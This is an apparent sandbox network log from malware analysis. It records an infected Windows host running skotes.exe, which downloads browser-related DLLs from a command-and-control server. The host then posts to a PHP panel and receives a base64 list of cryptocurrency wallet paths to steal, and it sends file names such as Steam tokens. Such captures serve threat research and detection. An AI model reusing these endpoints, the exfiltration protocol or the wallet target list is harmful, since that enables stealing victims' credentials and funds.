00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 26, 2024 05:55:09.504812956 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:09.783204079 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 26, 2024 05:55:12.187124014 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:12.466475010 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 26, 2024 05:55:23.718455076 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:23.996638060 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 26, 2024 05:55:25.460007906 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:25.737934113 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 26, 2024 05:55:26.542603016 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:55:27.321907043 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:27.478528976 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="message"wallets------CAKFIJDHJEGIDHJKKKJJ--
Oct 26, 2024 05:55:27.758838892 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 26, 2024 05:55:27.763705015 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 2d 2d 0d 0a Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="message"files------BKECBAKFBGDGCBGDBAEC--
Oct 26, 2024 05:55:28.046358109 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:28.125780106 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
Oct 26, 2024 05:55:28.900969028 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:28.938082933 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="message"ybncbhylepme------CGIEGHJEGHJKFIEBFHJK--
Oct 26, 2024 05:55:29.225584030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:29 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2398 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 26, 2024 05:55:29.227844000 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHIDGDHCGCBAKFHIIIII--
Oct 26, 2024 05:55:29.999893904 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49781	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:05.703273058 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 05:55:06.629159927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49797	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:08.136914015 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
